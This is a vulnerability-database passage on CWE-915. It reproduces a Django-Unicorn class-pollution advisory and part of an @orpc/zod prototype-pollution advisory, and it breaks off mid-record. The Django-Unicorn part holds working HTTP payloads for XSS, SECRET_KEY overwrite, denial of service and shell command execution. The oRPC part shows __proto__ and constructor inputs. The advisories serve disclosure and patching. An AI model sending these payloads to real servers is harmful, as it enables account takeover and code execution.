CWE-915
AllowedImproperly Controlled Modification of Dynamically-Determined Object Attributes
Abstraction: Base · Status: Incomplete
The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.
363 vulnerabilities reference this CWE, most recent first.
GHSA-G9WF-5777-GQ43
Vulnerability from github – Published: 2025-02-03 15:48 – Updated: 2025-05-08 14:33Summary
Django-Unicorn is vulnerable to python class pollution vulnerability, a new type of vulnerability categorized under CWE-915. The vulnerability arises from the core functionality set_property_value, which can be remotely triggered by users by crafting appropriate component requests and feeding in values of second and third parameter to the vulnerable function, leading to arbitrary changes to the python runtime status.
At least five ways of vulnerability exploitation have been found, stably resulting in Cross-Site Scripting (XSS), Denial of Service (DoS), and Authentication Bypass attacks in almost every Django-Unicorn-based application.
Analysis of Vulnerable Function
By taking a look at the vulnerable function set_property_value located at: django_unicorn/views/action_parsers/utils.py. You can observe the functionality is responsible for modifying a property value of an object.
The property is specified by a dotted form of path at the second parameter property_name, where nested reference to object is supported, and base object and the assigned value is given by the first parameter component and third parameter property_value.
# https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/views/action_parsers/utils.py#L10
def set_property_value(
component,
property_name,
property_value
) -> None:
...
property_name_parts = property_name.split(".")
component_or_field = component
...
for idx, property_name_part in enumerate(property_name_parts):
if hasattr(component_or_field, property_name_part):
if idx == len(property_name_parts) - 1:
...
setattr(component_or_field, property_name_part, property_value)
...
else:
component_or_field = getattr(component_or_field, property_name_part)
...
elif isinstance(component_or_field, dict):
if idx == len(property_name_parts) - 1:
component_or_field[property_name_part] = property_value
...
else:
component_or_field = component_or_field[property_name_part]
...
elif isinstance(component_or_field, (QuerySet, list)):
property_name_part_int = int(property_name_part)
if idx == len(property_name_parts) - 1:
component_or_field[property_name_part_int] = property_value # type: ignore[index]
...
else:
component_or_field = component_or_field[property_name_part_int] # type: ignore[index]
...
else:
break
Meanwhile, this functionality can be directly triggered by a component request, one of the core functionalities of the project, by specifying the request type as syncInput and payload object would be fed in the dotted-path (2nd) parameter and assigned value (3rd) parameter of the vulnerable function.
POST /unicorn/message/COMPONENT_NAME
{
"id": 123,
"actionQueue":[
{
"type": "syncInput",
"payload": {
"name": "DOTTED_PATH",
"value":"ASSIGNED_VALUE"
}
}
],
"data": {XXX},
"epoch": "123",
"checksum": "XXXX"
}
You are now aware of that users from the remote can fully control the property_name and property_value of the vulnerable function. By default the preperty value overwrite can only be performed on the component object, which is always the first parameter of the function.
However, the functionality failed to count in the situation where bad actors can modify the normal path to traverse to other objects in the python runtime, by leveraging the magic attributes. For example, if the property_name was set to __init__.__globals__, the component context would change to global context of the component module, which means you can modify any attributes of the objects that are located in the global scope of the component module. These objects also include other modules that have been imported in the component module, which comprises of a pollutable dependency chain.
With all these techniques introduced, you can now change any global objects including, global variables/instances/classes/functions of any module that is in a chain of dependency from the component module.
The next section introduces the five exploitation gadgets found so far, leading to reflected XSS, stored XSS, authentication bypass and DOS attack. It uses a locally deployed django-unicorn.com as demo website to showcase its large-scale impact.
Here, gadgets refer to the dependency code snippets by default introduced by django-unicorn and changing its status can result in an attack sequence, such as XSS.
Proof of Concept
#1 Reflected Cross-Site Scripting by Overwriting bs4 HTML sanitizer
Django-Unicorn implants the EntitySubstitution rule from beautifulsoup4 library into its HTML formatter, formatting all the template response messages.
While this rule is specified in a global dictionary, you can exploit the class pollution vulnerability to overwrite it.
POST /unicorn/message/todo HTTP/1.1
{
"id": 123,
"actionQueue": [
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.sys.modules.bs4.dammit.EntitySubstitution.CHARACTER_TO_XML_ENTITY.<",
"value": "<img/src=1 onerror=alert('bs4_html_entity_bypass')>"
}
}
],
"data": {
"task": "",
"tasks": []
},
"epoch": "123",
"checksum": "XXX"
}
In this demonstration, replaced the sanitizer's < item value with the XSS payload. whenever a template reponse renders a "<" in cleartext, it will be converted to the payload, leading to XSS attack.
#2 Stored Cross-Site Scripting by Overwriting Unicorn Setting and Django Json Script Sanitizer
There is always a script tag in the webpage. Among it, a NAME value is dynamically extracted both from the MORPHER_NAMES and DEFAULT_MORPHER_NAME variable in the setting module.
However, simply polluting these values can not lead to a stored XSS attack. Django by default escape some of the special characters into unicode sequences.
Going through the source code of django, you will find the actual sanitizer located at _json_script_escapes variable at django/utils/html.py.
By polluting this variable to clear it out, you finally achieve a stored XSS attack.
PoC:
POST /unicorn/message/todo HTTP/1.1
{
"id": "3gpDSUcxzs1",
"data": {
"task": "",
"tasks": []
},
"checksum": "XXX",
"actionQueue": [
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.sys.modules.django_unicorn.settings.MORPHER_NAMES",
"value": [
"</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
]
}
},
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.sys.modules.django_unicorn.settings.DEFAULT_MORPHER_NAME",
"value": "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
}
},
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.sys.modules.django.utils.html._json_script_escapes",
"value": {}
}
}
],
"epoch": 1737318956605,
"hash": "jWGuTFzy"
}
#3 Stored Cross-Site Scripting by Overwriting Django Error Page Source Code
Django by default stores its error page source code in a global variable named ERROR_PAGE_TEMPLATE at django/views/defaults.py.
By polluting this variable to XSS payload. whenever a user triggers an error in the application, such as access an unexisting resource, the attack payload fires out.
POST /unicorn/message/todo HTTP/1.1
{
"id": 123,
"actionQueue": [
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.sys.modules.django.views.defaults.ERROR_PAGE_TEMPLATE",
"value": "<html><script>alert('error page pollution')</script></html>"
}
}
],
"data": {
"task": "",
"tasks": []
},
"epoch": "123",
"checksum": "XXX"
}
#4 Authentication Bypass by Overwriting Django Secret Key
Django secret key is typically used to sign and verify session cookies and other security related mechanism. By polluting its runtime value to attacker intended, attacker can forge session cookies to login in to the system as any user.
Even though, django-unicorn.com doesn't have an authentication layer, you can still observe a successful secret key pollution by inspecting the changed checksum in the HTTP response, since the checksum is generated by encrypting the data field in the request body with the secret key.
POST /unicorn/message/todo HTTP/1.1
{
"id": 123,
"actionQueue": [
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.sys.modules.django.template.backends.django.settings.SECRET_KEY",
"value": "test"
}
}
],
"data": {
"task": "",
"tasks": []
},
"epoch": "123",
"checksum": "XXX"
}
#5 Denial of Service by Overwriting timed Decorator Method
The timed decorator is used to modify many important functions in the django-unicorn, such as _call_method_name.
By polluting the core decorator method timed to a string, you make a function call always call a uncallable string, leading to the backend crashed, thus denial of service attack.
POST /unicorn/message/todo HTTP/1.1
{
"id": 123,
"actionQueue": [
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.timed",
"value": "X"
}
}
],
"data": {
"task": "",
"tasks": []
},
"epoch": "123",
"checksum": "XXX"
}
#6 Remote Code Execution by Polluting location_cache and OS Environment Variable BROWSER
By polluting the cached data in the location_cache object located at unicorn_view.py, attackers can archieve an arbitrary module importation as the logic executed at _get_component_class function. Then a following pollution on the BROWSER os environment variable will lead to remote code execution when it is combined with antigravity module importation.
- Pollute
location_cache._Cache__data.todoas an array where the first element is the module name imported whenever aGETrequest is sent to the server.
POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
Content-Length: 327
Accept: application/json
{
"id": "E5FBWqME",
"data": {
"task": "",
"tasks": []
},
"checksum": "XvvsDQXX",
"actionQueue": [
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.location_cache._Cache__data.todo",
"value": [
"antigravity",
"any"
]
},
"partials": []
},
{
"type": "callMethod",
"payload": {
"name": "add"
},
"partials": []
}
],
"epoch": 1746680343776,
"hash": "CG5pMDxc"
}
- Pollute
BROWSERos environment variable where the payload for command injection is set.
POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
Content-Length: 348
Accept: application/json
{
"id": "E5FBWqME",
"data": {
"task": "",
"tasks": []
},
"checksum": "XvvsDQXX",
"actionQueue": [
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.sys.modules.os.environ",
"value": {
"BROWSER": "/bin/sh -c \"touch /tmp/pwned \" #%s"
}
},
"partials": []
},
{
"type": "callMethod",
"payload": {
"name": "add"
},
"partials": []
}
],
"epoch": 1746680343776,
"hash": "CG5pMDxc"
}
Mitigation
The patch could be:
- Blocking paths that start with
__, which represent double under (dunder) or magic variables/methods - Set a blacklist for the path, such as
RESTRICTED_KEYS = ("__globals__", "__builtins__")adopted by pydash.
Related Materials
For more information about class pollution please refer to:
[1] CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
[2] Report: Class Pollution leading to RCE in pydash
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "django-unicorn"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.62.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-24370"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-03T15:48:53Z",
"nvd_published_at": "2025-02-03T21:15:15Z",
"severity": "CRITICAL"
},
"details": "# Summary\n\nDjango-Unicorn is vulnerable to python class pollution vulnerability, a new type of vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The vulnerability arises from the core functionality `set_property_value`, which can be remotely triggered by users by crafting appropriate component requests and feeding in values of second and third parameter to the vulnerable function, leading to arbitrary changes to the python runtime status. \n\nAt least five ways of vulnerability exploitation have been found, stably resulting in Cross-Site Scripting (XSS), Denial of Service (DoS), and Authentication Bypass attacks in almost every Django-Unicorn-based application.\n\n# Analysis of Vulnerable Function\n\nBy taking a look at the vulnerable function `set_property_value` located at: `django_unicorn/views/action_parsers/utils.py`. You can observe the functionality is responsible for modifying a property value of an object. \n\nThe property is specified by a dotted form of path at the second parameter `property_name`, where nested reference to object is supported, and base object and the assigned value is given by the first parameter `component` and third parameter `property_value`.\n\n```python\n# https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/views/action_parsers/utils.py#L10\ndef set_property_value(\n component,\n property_name,\n property_value\n) -\u003e None:\n ...\n property_name_parts = property_name.split(\".\")\n component_or_field = component\n ...\n for idx, property_name_part in enumerate(property_name_parts):\n if hasattr(component_or_field, property_name_part):\n if idx == len(property_name_parts) - 1:\n ...\n setattr(component_or_field, property_name_part, property_value)\n ...\n else:\n component_or_field = getattr(component_or_field, property_name_part)\n ...\n elif isinstance(component_or_field, dict):\n if idx == len(property_name_parts) - 1:\n component_or_field[property_name_part] = property_value\n\t\t\t\t...\n else:\n component_or_field = component_or_field[property_name_part]\n\t\t\t\t...\n elif isinstance(component_or_field, (QuerySet, list)):\n property_name_part_int = int(property_name_part)\n\n if idx == len(property_name_parts) - 1:\n component_or_field[property_name_part_int] = property_value # type: ignore[index]\n ...\n else:\n component_or_field = component_or_field[property_name_part_int] # type: ignore[index]\n ...\n else:\n break\n```\n\nMeanwhile, this functionality can be directly triggered by a component request, one of the core functionalities of the project, by specifying the request type as `syncInput` and payload object would be fed in the dotted-path (2nd) parameter and assigned value (3rd) parameter of the vulnerable function.\n\n```json\nPOST /unicorn/message/COMPONENT_NAME\n\n{\n \"id\": 123,\n \"actionQueue\":[\n {\n \"type\": \"syncInput\",\n \"payload\": {\n \"name\": \"DOTTED_PATH\",\n \"value\":\"ASSIGNED_VALUE\"\n }\n \t\t}\n ],\n \"data\": {XXX},\n \"epoch\": \"123\",\n \"checksum\": \"XXXX\"\n}\n```\n\nYou are now aware of that users from the remote can fully control the `property_name` and `property_value` of the vulnerable function. By default the preperty value overwrite can only be performed on the component object, which is always the first parameter of the function.\n\nHowever, the functionality failed to count in the situation where bad actors can modify the normal path to traverse to other objects in the python runtime, by leveraging the **magic attributes**. For example, if the `property_name` was set to `__init__.__globals__`, the component context would change to global context of the component module, which means you can modify any attributes of the objects that are located in the global scope of the component module. These objects also include other modules that have been imported in the component module, which comprises of a pollutable dependency chain.\n\nWith all these techniques introduced, you can now change any global objects including, global variables/instances/classes/functions of any module that is in a chain of dependency from the component module.\n\nThe next section introduces the five exploitation gadgets found so far, leading to reflected XSS, stored XSS, authentication bypass and DOS attack. It uses a locally deployed `django-unicorn.com` as demo website to showcase its large-scale impact.\n\n\u003e Here, gadgets refer to the dependency code snippets by default introduced by django-unicorn and changing its status can result in an attack sequence, such as XSS.\n\n# Proof of Concept\n\n## #1 Reflected Cross-Site Scripting by Overwriting bs4 HTML sanitizer\n\nDjango-Unicorn implants the `EntitySubstitution` rule from beautifulsoup4 library into its [HTML formatter](https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/components/unicorn_template_response.py#L125), formatting all the template response messages.\n\n\n\nWhile [this rule](https://github.com/akalongman/python-beautifulsoup/blob/master/bs4/dammit.py#L79) is specified in a global dictionary, you can exploit the class pollution vulnerability to overwrite it.\n\n```http\nPOST /unicorn/message/todo HTTP/1.1\n\n{\n \"id\": 123,\n \"actionQueue\": [\n {\n \"type\": \"syncInput\",\n \"payload\": {\n \"name\": \"__init__.__globals__.sys.modules.bs4.dammit.EntitySubstitution.CHARACTER_TO_XML_ENTITY.\u003c\",\n \"value\": \"\u003cimg/src=1 onerror=alert(\u0027bs4_html_entity_bypass\u0027)\u003e\"\n }\n }\n ],\n \"data\": {\n \"task\": \"\",\n \"tasks\": []\n },\n \"epoch\": \"123\",\n \"checksum\": \"XXX\"\n}\n```\n\nIn this demonstration, replaced the sanitizer\u0027s `\u003c` item value with the XSS payload. whenever a template reponse renders a \"\u003c\" in cleartext, it will be converted to the payload, leading to XSS attack.\n\n\n\n## #2 Stored Cross-Site Scripting by Overwriting Unicorn Setting and [Django](https://github.com/django/django) Json Script Sanitizer\n\nThere is always a script tag in the webpage. Among it, a `NAME` value is dynamically extracted both from the `MORPHER_NAMES` and `DEFAULT_MORPHER_NAME` variable in the [setting module](https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/settings.py#L12). \n\n\n\nHowever, simply polluting these values can not lead to a stored XSS attack. Django by default escape some of the special characters into unicode sequences.\n\n\n\nGoing through the source code of django, you will find the actual sanitizer located at `_json_script_escapes` variable at [django/utils/html.py](https://github.com/django/django/blob/862b7f98a02b7973848db578ff6d24ec8500fdb4/django/utils/html.py#L84).\n\n\n\nBy polluting this variable to clear it out, you finally achieve a stored XSS attack.\n\n\n\nPoC:\n\n```http\nPOST /unicorn/message/todo HTTP/1.1\n\n{\n \"id\": \"3gpDSUcxzs1\",\n \"data\": {\n \"task\": \"\",\n \"tasks\": []\n },\n \"checksum\": \"XXX\",\n \"actionQueue\": [\n {\n \"type\": \"syncInput\",\n \"payload\": {\n \"name\": \"__init__.__globals__.sys.modules.django_unicorn.settings.MORPHER_NAMES\",\n \"value\": [\n \"\u003c/script\u003e\u003cscript\u003ealert(\u0027django json unicode escape bypass + configuration overwrite\u0027)\u003c/script\u003e\"\n ]\n }\n },\n {\n \"type\": \"syncInput\",\n \"payload\": {\n \"name\": \"__init__.__globals__.sys.modules.django_unicorn.settings.DEFAULT_MORPHER_NAME\",\n \"value\": \"\u003c/script\u003e\u003cscript\u003ealert(\u0027django json unicode escape bypass + configuration overwrite\u0027)\u003c/script\u003e\"\n }\n },\n {\n \"type\": \"syncInput\",\n \"payload\": {\n \"name\": \"__init__.__globals__.sys.modules.django.utils.html._json_script_escapes\",\n \"value\": {}\n }\n }\n ],\n \"epoch\": 1737318956605,\n \"hash\": \"jWGuTFzy\"\n}\n```\n\n\n\n## #3 Stored Cross-Site Scripting by Overwriting [Django](https://github.com/django/django) Error Page Source Code\n\nDjango by default stores its error page source code in a global variable named `ERROR_PAGE_TEMPLATE` at [django/views/defaults.py](https://github.com/django/django/blob/main/django/views/defaults.py#L16). \n\n\n\nBy polluting this variable to XSS payload. whenever a user triggers an error in the application, such as access an unexisting resource, the attack payload fires out.\n\n```http\nPOST /unicorn/message/todo HTTP/1.1\n\n{\n \"id\": 123,\n \"actionQueue\": [\n {\n \"type\": \"syncInput\",\n \"payload\": {\n \"name\": \"__init__.__globals__.sys.modules.django.views.defaults.ERROR_PAGE_TEMPLATE\",\n \"value\": \"\u003chtml\u003e\u003cscript\u003ealert(\u0027error page pollution\u0027)\u003c/script\u003e\u003c/html\u003e\"\n }\n }\n ],\n \"data\": {\n \"task\": \"\",\n \"tasks\": []\n },\n \"epoch\": \"123\",\n \"checksum\": \"XXX\"\n}\n```\n\n\n\n## #4 Authentication Bypass by Overwriting [Django](https://github.com/django/django) Secret Key \n\nDjango secret key is typically used to sign and verify session cookies and other security related mechanism. By polluting its runtime value to attacker intended, attacker can forge session cookies to login in to the system as any user.\n\nEven though, django-unicorn.com doesn\u0027t have an authentication layer, you can still observe a successful secret key pollution by inspecting the changed checksum in the HTTP response, since the checksum is generated by encrypting the data field in the request body with the secret key.\n\n```HTTP\nPOST /unicorn/message/todo HTTP/1.1\n\n{\n \"id\": 123,\n \"actionQueue\": [\n {\n \"type\": \"syncInput\",\n \"payload\": {\n \"name\": \"__init__.__globals__.sys.modules.django.template.backends.django.settings.SECRET_KEY\",\n \"value\": \"test\"\n }\n }\n ],\n \"data\": {\n \"task\": \"\",\n \"tasks\": []\n },\n \"epoch\": \"123\",\n \"checksum\": \"XXX\"\n}\n```\n\n\n\n## #5 Denial of Service by Overwriting `timed` Decorator Method\n\nThe [timed](https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/decorators.py#L9) decorator is used to modify many important functions in the django-unicorn, such as [_call_method_name](https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/views/action_parsers/call_method.py#L122).\n\n\n\nBy polluting the core decorator method `timed` to a string, you make a function call always call a uncallable string, leading to the backend crashed, thus denial of service attack.\n\n```http\nPOST /unicorn/message/todo HTTP/1.1\n\n{\n \"id\": 123,\n \"actionQueue\": [\n {\n \"type\": \"syncInput\",\n \"payload\": {\n \"name\": \"__init__.__globals__.timed\",\n \"value\": \"X\"\n }\n }\n ],\n \"data\": {\n \"task\": \"\",\n \"tasks\": []\n },\n \"epoch\": \"123\",\n \"checksum\": \"XXX\"\n}\n```\n\n\n\n## #6 Remote Code Execution by Polluting `location_cache` and OS Environment Variable `BROWSER`\n\nBy polluting the cached data in the `location_cache` object located at [unicorn_view.py](https://github.com/adamghill/django-unicorn/blob/ba2e1de5858f65b7d115f2ba782c220addd47245/django_unicorn/components/unicorn_view.py#L42C1-L43C1), attackers can archieve an arbitrary module importation as the logic executed at [_get_component_class](https://github.com/adamghill/django-unicorn/blob/ba2e1de5858f65b7d115f2ba782c220addd47245/django_unicorn/components/unicorn_view.py#L835) function. Then a following pollution on the `BROWSER` os environment variable will lead to remote code execution when it is combined with `antigravity` module importation.\n\n- Pollute `location_cache._Cache__data.todo` as an array where the first element is the module name imported whenever a `GET` request is sent to the server. \n```HTTP\nPOST /unicorn/message/todo HTTP/1.1\nHost: proof-of-concept:2334\nContent-Length: 327\nAccept: application/json\n\n{\n \"id\": \"E5FBWqME\",\n \"data\": {\n \"task\": \"\",\n \"tasks\": []\n },\n \"checksum\": \"XvvsDQXX\",\n \"actionQueue\": [\n {\n \"type\": \"syncInput\",\n \"payload\": {\n \"name\": \"__init__.__globals__.location_cache._Cache__data.todo\",\n \"value\": [\n \"antigravity\",\n \"any\"\n ]\n },\n \"partials\": []\n },\n {\n \"type\": \"callMethod\",\n \"payload\": {\n \"name\": \"add\"\n },\n \"partials\": []\n }\n ],\n \"epoch\": 1746680343776,\n \"hash\": \"CG5pMDxc\"\n}\n```\n\n- Pollute `BROWSER` os environment variable where the payload for command injection is set.\n```HTTP\nPOST /unicorn/message/todo HTTP/1.1\nHost: proof-of-concept:2334\nContent-Length: 348\nAccept: application/json\n\n{\n \"id\": \"E5FBWqME\",\n \"data\": {\n \"task\": \"\",\n \"tasks\": []\n },\n \"checksum\": \"XvvsDQXX\",\n \"actionQueue\": [\n {\n \"type\": \"syncInput\",\n \"payload\": {\n \"name\": \"__init__.__globals__.sys.modules.os.environ\",\n \"value\": {\n \"BROWSER\": \"/bin/sh -c \\\"touch /tmp/pwned \\\" #%s\"\n }\n },\n \"partials\": []\n },\n {\n \"type\": \"callMethod\",\n \"payload\": {\n \"name\": \"add\"\n },\n \"partials\": []\n }\n ],\n \"epoch\": 1746680343776,\n \"hash\": \"CG5pMDxc\"\n}\n```\n\n\n\n# Mitigation\n\nThe patch could be:\n\n- Blocking paths that start with `__`, which represent **double under (dunder)** or **magic variables/methods**\n- Set a blacklist for the path, such as `RESTRICTED_KEYS = (\"__globals__\", \"__builtins__\")` adopted by [pydash](https://github.com/dgilland/pydash/blob/f4112f61ddb02e5181e781709d775838c9978b97/src/pydash/helpers.py#L211).\n\n# Related Materials\n\nFor more information about class pollution please refer to:\n\n[1] [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n\n[2] [Report: Class Pollution leading to RCE in pydash](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca)\n\n[3] [Blog: Prototype Pollution in Python](https://blog.abdulrah33m.com/prototype-pollution-in-python/)\n\n[4] [Blog: Class Pollution Gadgets in Jinja Leading to RCE](https://www.offensiveweb.com/docs/programming/python/class-pollution/)",
"id": "GHSA-g9wf-5777-gq43",
"modified": "2025-05-08T14:33:23Z",
"published": "2025-02-03T15:48:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/adamghill/django-unicorn/security/advisories/GHSA-g9wf-5777-gq43"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24370"
},
{
"type": "WEB",
"url": "https://github.com/adamghill/django-unicorn/commit/17614200f27174f789d4af54cc3a1f2b0df7870c"
},
{
"type": "PACKAGE",
"url": "https://github.com/adamghill/django-unicorn"
},
{
"type": "WEB",
"url": "https://github.com/adamghill/django-unicorn/releases/tag/0.62.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Django-Unicorn Class Pollution Vulnerability, Leading to XSS, DoS and Authentication Bypass"
}
GHSA-GCGF-FH7C-8GF2
Vulnerability from github – Published: 2026-10-05 17:32 – Updated: 2026-10-05 17:32Summary
ZodSmartCoercionPlugin and experimental_ZodSmartCoercionPlugin mishandle object keys that name Object.prototype members. Both coerce request input before validation, so any client that can reach a procedure whose input schema contains an object or a record can:
- replace the prototype of the coerced input object, and
- make a request fail with an unhandled
TypeErrorby sending a key such asconstructor.
This is the same class of bug as GHSA-4h5r-cv8j-4456 in @orpc/json-schema, in a different package.
This is not global prototype pollution
The global Object.prototype is never modified. No shared or global state is written, so other objects in the process, other requests, and other users are not affected.
What changes is the prototype of one object: the value the coercer returns for the request that carried the payload. That object is passed on to validation and to the procedure handler, then discarded when the request ends. An ordinary {} created anywhere else in the application is unaffected.
Details
1. __proto__ replaces the prototype of the coerced value
Coerced properties were collected into a plain {}, so newObj['__proto__'] = value triggers the inherited __proto__ setter instead of creating an own property. Verified on 1.14.8 against a record schema, in both plugins:
schema: z.record(z.string())
input: {"a":"1","__proto__":{"polluted":true}}
Object.keys(result) => ["a"] // the __proto__ entry is dropped from the output
result.polluted => true // the attacker object is now this object's prototype
({}).polluted => undefined // Object.prototype is untouched
The returned value inherits attacker controlled properties, and any consumer reading them through the prototype chain, such as a handler checking input.isAdmin, an Object.assign copy, or a config lookup, sees data the client never legitimately supplied. How far that goes depends on what the application does with the coerced input. There is no generic escalation path.
This affects the record branch of both plugins, and the object branch of both plugins for any key that does not first trigger the error below.
2. Sub-schemas resolved through the prototype chain
The object branch looked up sub-schemas with shape[key], which returns inherited members for keys such as constructor, toString and __proto__. Those values, for example the Object constructor, were then dereferenced as Zod schemas:
schema: z.object({ a: z.number() })
input: { a: '123', constructor: '456' }
zod 3 => TypeError: Cannot read properties of undefined (reading 'Symbol(ORPC_CUSTOM_ZOD_DEF)')
zod 4 => TypeError: Cannot read properties of undefined (reading 'def')
Coercion throws before the assignment, so for object schemas these keys break the request rather than injecting a prototype. Any client can trigger this on its own requests. It does not affect other clients or the process as a whole.
Impact
Any oRPC server that installs ZodSmartCoercionPlugin or experimental_ZodSmartCoercionPlugin from @orpc/zod and has at least one procedure whose input schema contains an object or a record. No authentication or user interaction is required beyond what the procedure itself demands.
The effect is scoped to the request that sent the payload. Because no global state is written, one request cannot influence another, and restarting the process is not needed to recover.
Patch
Fixed in 1.14.10.
In packages/zod/src/coercer.ts and packages/zod/src/zod4/coercer.ts:
- collect coerced object and record properties into
NullProtoObj, the null prototype helper already used for untrusted keys inbracket-notation.tsandrpc-matcher.ts, so__proto__stays an ordinary own property and is preserved in the output - guard the shape lookup with
Object.hasOwn, so unknown keys fall through tocatchallas they already do for every other name
PR: middleapi/orpc#1727
Workarounds
Reject or strip request payloads containing __proto__, constructor or prototype keys before they reach the handler, or remove the plugin if automatic coercion is not required.
Note that SmartCoercionPlugin from @orpc/json-schema, the recommended replacement for these plugins, was affected by the same class of issue (GHSA-4h5r-cv8j-4456) and is fixed in the same release.
Credit
Reported and fixed internally.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@orpc/zod"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.14.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-103918"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-05T17:32:32Z",
"nvd_published_at": "2026-10-02T20:17:00Z",
"severity": "MODERATE"
},
"details": "## Summary\n\n`ZodSmartCoercionPlugin` and `experimental_ZodSmartCoercionPlugin` mishandle object keys that name `Object.prototype` members. Both coerce request input before validation, so any client that can reach a procedure whose input schema contains an object or a record can:\n\n1. replace the prototype of the coerced input object, and\n2. make a request fail with an unhandled `TypeError` by sending a key such as `constructor`.\n\nThis is the same class of bug as GHSA-4h5r-cv8j-4456 in `@orpc/json-schema`, in a different package.\n\n## This is not global prototype pollution\n\n**The global `Object.prototype` is never modified.** No shared or global state is written, so other objects in the process, other requests, and other users are not affected.\n\nWhat changes is the prototype of one object: the value the coercer returns for the request that carried the payload. That object is passed on to validation and to the procedure handler, then discarded when the request ends. An ordinary `{}` created anywhere else in the application is unaffected.\n\n## Details\n\n### 1. `__proto__` replaces the prototype of the coerced value\n\nCoerced properties were collected into a plain `{}`, so `newObj[\u0027__proto__\u0027] = value` triggers the inherited `__proto__` setter instead of creating an own property. Verified on 1.14.8 against a record schema, in both plugins:\n\n```\nschema: z.record(z.string())\ninput: {\"a\":\"1\",\"__proto__\":{\"polluted\":true}}\n\nObject.keys(result) =\u003e [\"a\"] // the __proto__ entry is dropped from the output\nresult.polluted =\u003e true // the attacker object is now this object\u0027s prototype\n({}).polluted =\u003e undefined // Object.prototype is untouched\n```\n\nThe returned value inherits attacker controlled properties, and any consumer reading them through the prototype chain, such as a handler checking `input.isAdmin`, an `Object.assign` copy, or a config lookup, sees data the client never legitimately supplied. How far that goes depends on what the application does with the coerced input. There is no generic escalation path.\n\nThis affects the `record` branch of both plugins, and the `object` branch of both plugins for any key that does not first trigger the error below.\n\n### 2. Sub-schemas resolved through the prototype chain\n\nThe `object` branch looked up sub-schemas with `shape[key]`, which returns inherited members for keys such as `constructor`, `toString` and `__proto__`. Those values, for example the `Object` constructor, were then dereferenced as Zod schemas:\n\n```\nschema: z.object({ a: z.number() })\ninput: { a: \u0027123\u0027, constructor: \u0027456\u0027 }\n\nzod 3 =\u003e TypeError: Cannot read properties of undefined (reading \u0027Symbol(ORPC_CUSTOM_ZOD_DEF)\u0027)\nzod 4 =\u003e TypeError: Cannot read properties of undefined (reading \u0027def\u0027)\n```\n\nCoercion throws before the assignment, so for object schemas these keys break the request rather than injecting a prototype. Any client can trigger this on its own requests. It does not affect other clients or the process as a whole.\n\n## Impact\n\nAny oRPC server that installs `ZodSmartCoercionPlugin` or `experimental_ZodSmartCoercionPlugin` from `@orpc/zod` and has at least one procedure whose input schema contains an object or a record. No authentication or user interaction is required beyond what the procedure itself demands.\n\nThe effect is scoped to the request that sent the payload. Because no global state is written, one request cannot influence another, and restarting the process is not needed to recover.\n\n## Patch\n\nFixed in 1.14.10.\n\nIn `packages/zod/src/coercer.ts` and `packages/zod/src/zod4/coercer.ts`:\n\n- collect coerced object and record properties into `NullProtoObj`, the null prototype helper already used for untrusted keys in `bracket-notation.ts` and `rpc-matcher.ts`, so `__proto__` stays an ordinary own property and is preserved in the output\n- guard the shape lookup with `Object.hasOwn`, so unknown keys fall through to `catchall` as they already do for every other name\n\nPR: middleapi/orpc#1727\n\n## Workarounds\n\nReject or strip request payloads containing `__proto__`, `constructor` or `prototype` keys before they reach the handler, or remove the plugin if automatic coercion is not required.\n\nNote that `SmartCoercionPlugin` from `@orpc/json-schema`, the recommended replacement for these plugins, was affected by the same class of issue (GHSA-4h5r-cv8j-4456) and is fixed in the same release.\n\n## Credit\n\nReported and fixed internally.",
"id": "GHSA-gcgf-fh7c-8gf2",
"modified": "2026-10-05T17:32:32Z",
"published": "2026-10-05T17:32:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/middleapi/orpc/security/advisories/GHSA-gcgf-fh7c-8gf2"
},
{
